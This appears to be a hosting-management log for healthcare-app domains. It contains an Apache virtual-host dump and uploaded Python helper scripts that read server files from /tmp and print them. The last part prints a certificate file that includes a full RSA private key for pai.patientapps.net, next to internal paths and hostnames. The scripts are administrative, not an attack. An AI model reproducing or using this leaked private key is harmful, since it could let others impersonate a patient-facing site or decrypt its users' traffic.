         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-03 06:03:42: 

PUT: /tmp/pkp104558

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_pai_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:03:42: 

chmod 755 /tmp/pkp104558; /tmp/pkp104558; rm /tmp/pkp104558

2025-11-03 06:03:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf	1572

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-03 06:03:42: 

PUT: /tmp/pkp810442

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:03:42: 

chmod 755 /tmp/pkp810442; /tmp/pkp810442; rm /tmp/pkp810442

2025-11-03 06:03:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt	5360
13:91:4c:4a:0b:01:c8:aa:2b:1d:be:dd:65:4e:13:5e

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBqPZkZwQEwf8s+Oj2aYU2zgyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNTExWhcNMjYwMjAxMDUwNTEwWjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2jdAh7gaySL/nIju8VDFrIGJdNeQsgLtSEPUrs11JCbnYLB12oyViHhQ
du2x04zdSlaUIiSk952OugnE7wNE2oNjXC/FUnEgPWinHzXfMFFGOOcmRRXsI96M
efFFlHabM7vg1MG91zMErAGiWg0du1aG5KuI8OPJtlKAS9v5SithMZScmy4cbtc9
zslF8luWjTZty0D69tBlOn+8Tym+ImK/uko9SBS6whZX0AduaWNRNe5avFschXBW
RHVadtFAv/iKsUHrFZoArRDOhZSyYbcyKUooM2lxwqotoN/e0faZmdwcmP3vU9xQ
xF0k2rn01VkF3jB7IKWF1gFWv/G62QIDAQABo4ICJDCCAiAwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBS4M2+f7bWjj256VMMzImbf69xpvjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy81MS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHz
APEAdwBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZpIUGuXAAAE
AwBIMEYCIQCLsQWKwfOuNRU1vHdNsZ3vFvNtLNR9Q59Fup5TKf/W+gIhANePrkBk
a8kGC3rTMktex8AFT1m6XwfR6yDnjbZSa0diAHYAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGaSFBruQAABAMARzBFAiEA24kjCzEwlrA1tAf1noo+
jIQmjU/uv8UO/6skF0ODxSYCICObh6X5TW43hZ7eYlH8o22WKZvXAapwj/gtgIqz
t2MqMA0GCSqGSIb3DQEBCwUAA4IBAQA4IRq1sohOXL32rXNC4tuFvNSzPyVgAl0g
tmTyGvWmJFdsrMrtIe0f4Nx7D/kXIhOG5tsTIoqQv0juqQvmPZ9VtTY1EhgnnSzC
NGYihhqlFh3ZRphs/q1IfcorP6xN9W/hoE7U80+b4HyuJJcxmVCyn4mz9mSHeJIl
22ZfiO1kMH3cyRCom6daS2Km6y8hEe1TbWC4b2/OXJvuCdaB1DpMGgsU0fESSX49
28WKEG0qOiqYT4IebL3DCx48DtfqXFIMZOYI+VR3ZeXyM4fKJwhn5BExOPzoGevy
FEENAkzzPp8m++NvmGypV9zIndginlLIfmqjAqTZEpQrb2LBhX1z
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDaN0CHuBrJIv+c
iO7xUMWsgYl015CyAu1IQ9SuzXUkJudgsHXajJWIeFB27bHTjN1KVpQiJKT3nY66
CcTvA0Tag2NcL8VScSA9aKcfNd8wUUY45yZFFewj3ox58UWUdpszu+DUwb3XMwSs
AaJaDR27Vobkq4jw48m2UoBL2/lKK2ExlJybLhxu1z3OyUXyW5aNNm3LQPr20GU6
f7xPKb4iYr+6Sj1IFLrCFlfQB25pY1E17lq8WxyFcFZEdVp20UC/+IqxQesVmgCt
EM6FlLJhtzIpSigzaXHCqi2g397R9pmZ3ByY/e9T3FDEXSTaufTVWQXeMHsgpYXW
AVa/8brZAgMBAAECggEAayv1snJWHXDl70BFchlEbFvWYZ85fmP3m6VMwGlB3faJ
brBbwXGIQ1Ur160XyBmH2Wm6KSasKrykC3Se1vBZEaSz2OPRWpMazW4nnil8KyPP
hETqQ8XnixpTDdTUYnz57qeYXYWlshppcfz/epC0iHyPlaE1iXGmcLgGMLuhrK3H
QfC8onjprRv4znqZUM9dUTB8W89iCvrgPr4D7dxnC9UHbgH3yKkEXuw0c+DG1wo9
URyGDsurJE8LynZ1YxsBi5YZb0dZABu1/DRPCzg7JFG2z6q3eVBPmvAM0QeH1RMe
cEOmksKk2nt/pDN3qE3wHfPn8J35TR5ASRxfC1sDjQKBgQDxFYyum/c5Mpd3Jrbj
h+ThqxUYAPb8623hjLKISwg90NC8AQ/Id0h1UtSFaK9ctnd4j/OpNQ62KdssiXLu
28w0aWjl4j6tid/aR5cWu4rUic2FhYUDZS40U8E24g2TAQ8DAy8LUoMmkvj3AkW7
ctnVfewiMMG/QdDtgORTN0vcEwKBgQDnt3+eHjiIZ+y52xEKu6XYmSJlgw8xcfhR
MWgLgoSD74TNOckxHkJE+UkxGwk+eIKOAnzqRjucRlx2KOjDcpzaFUP5S7/dKVIN
tZbFKa92xv0kwDMhxGDywXJKkyt21PIG8eb4bNyRX0F8zcQv7W8pxPoa4PK9Nr6J
Zp0ixwLS4wKBgFwyWI3CGaanIWOwy4pyQubGjZeTbuFEi84RB4m14B37yIfNhCKu
82fi2GF4qm+zXDcgHhfcsZaapTYADpMoPYzhrvsTLdMiAhiw/if0auBjHtTsPfUR
cb0TNrXtdzF72yjUw935nSxYUpvsI4zPHF1X/cEJkl65JdReUXM9l2Y/AoGBAL5p
xV5LGUvGkvq7sYpvXz7ZwDFI/NA2Bse54PUsYPcGecwnw1QwuGZzsBjBTdxfLXHD
S6E867lk/JBA193crlZsCTqwa88zKHGJmocU1VK2/MkZhCsodD6ohuIPhDUXknfw
i0v0MWDotSj48lIsPCBH9PrnhbHFbdf9Uf2FKqXfAoGAI6n+taA0nYrGJcFUbAnd
i49C4aqJQhNQbfMm7q5utk/e8deoWbefWGdq75mU+EIXklZ+ISvjdPvpYmpPGU0J
yLcNn0Lpamnh67XXLhmN+7m/P+xgGRPlttTMti05dTdh9GTDXCtmbXygEVWYP+Gd
zkkib+N+peajTeQvcR689ko=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
